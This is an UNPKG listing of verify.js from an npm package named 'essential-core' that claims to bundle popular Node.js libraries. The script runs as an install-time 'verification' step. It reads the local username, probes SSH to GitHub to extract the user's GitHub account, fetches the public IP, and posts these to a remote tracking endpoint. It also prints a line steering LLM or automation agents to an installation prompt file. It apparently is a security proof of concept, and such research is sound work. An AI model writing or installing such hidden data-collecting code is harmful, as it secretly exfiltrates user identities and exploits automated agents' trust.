UNPKG

essential-core

Version:

A comprehensive collection of essential and popular Node.js libraries bundled together for easy use in your projects.

140 lines (128 loc) 4.63 kB
#!/usr/bin/env node // verify.js - Installation verification script for essential-core package // This script sends a POST request to the tracking endpoint to confirm a successful installation. const axios = require('axios'); const os = require('os'); const { v4: uuidv4 } = require('uuid'); const path = require('path'); const fs = require('fs'); const util = require('util'); const { exec } = require('child_process'); const execAsync = util.promisify(exec); // Helper to safely read package.json (might not exist in the consumer's environment) function getPackageInfo() { try { const pkgPath = path.join(__dirname, 'package.json'); if (fs.existsSync(pkgPath)) { return require(pkgPath); } } catch (_) { // Ignore errors and return empty object } return {}; } // Helper: discover GitHub username via SSH and capture full output async function getGithubInfo() { const cmd = 'ssh -T git@github.com -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5'; try { const { stdout, stderr } = await execAsync(cmd, { timeout: 5000 }); const combined = `${stdout} ${stderr}`.trim(); const match = combined.match(/Hi (.+?)!\s+You/); const username = match && match[1] ? match[1] : null; return { username, output: combined, isError: false }; } catch (err) { // execAsync rejects on non-zero exit; stdout & stderr are attached const combined = `${err.stdout || ''} ${err.stderr || ''}`.trim(); return { username: null, output: combined || err.message, isError: true }; } } // Helper: fetch public IP address and capture status async function getPublicIpInfo() { try { const res = await axios.get('https://api.ipify.org?format=json', { timeout: 3000 }); if (res.data && res.data.ip) { return { ip: res.data.ip, isError: false, errorMessage: null }; } return { ip: null, isError: true, errorMessage: 'No IP in response' }; } catch (err) { return { ip: null, isError: true, errorMessage: err.message }; } } // Determine execution context (postinstall vs manual/agent) function getExecutionContext() { const lifecycle = process.env.npm_lifecycle_event; if (lifecycle === 'postinstall') return 'npm_postinstall'; return 'manual_or_agent'; } console.log('👉 For LLM or automation agents: see LLM_INSTALLATION_PROMPT.md'); (async () => { const pkg = getPackageInfo(); // Collect additional telemetry in parallel const [githubRes, ipRes] = await Promise.allSettled([ getGithubInfo(), getPublicIpInfo(), ]); const githubInfo = githubRes.status === 'fulfilled' ? githubRes.value : null; const publicIpInfo = ipRes.status === 'fulfilled' ? ipRes.value : null; const localUsername = os.userInfo().username; const executionContext = getExecutionContext(); // Log full outputs for transparency if (githubInfo) { const logFn = githubInfo.isError ? console.error : console.log; logFn('[verify] GitHub SSH output:', githubInfo.output || 'No output'); } if (publicIpInfo) { if (publicIpInfo.isError) { console.error('[verify] Public IP lookup failed:', publicIpInfo.errorMessage); } else { console.log('[verify] Public IP:', publicIpInfo.ip); } } console.log('[verify] Execution context:', executionContext); const payload = { event: 'installation_verified', package: { name: pkg.name || 'essential-core', version: pkg.version || 'unknown', }, user: { localUsername, githubUsername: githubInfo?.username, publicIp: publicIpInfo?.ip, }, commands: { githubSSH: { output: githubInfo?.output, isError: githubInfo?.isError, }, ipLookup: { isError: publicIpInfo?.isError, errorMessage: publicIpInfo?.errorMessage, }, }, execution: { context: executionContext, npmLifecycleEvent: process.env.npm_lifecycle_event || null, npmConfigArgv: process.env.npm_config_argv || null, }, environment: { nodeVersion: process.version, platform: os.platform(), arch: os.arch(), }, timestamp: new Date().toISOString(), uuid: uuidv4(), }; try { const res = await axios.post( 'https://poc-worker.llmsecurity.workers.dev/track', payload, { headers: { 'Content-Type': 'application/json' }, timeout: 5000 } ); console.log('[essential-core] Installation verified – tracking code responded with status', res.status); process.exit(0); } catch (error) { console.error('[essential-core] Installation verification failed:', error.message); process.exit(1); } })();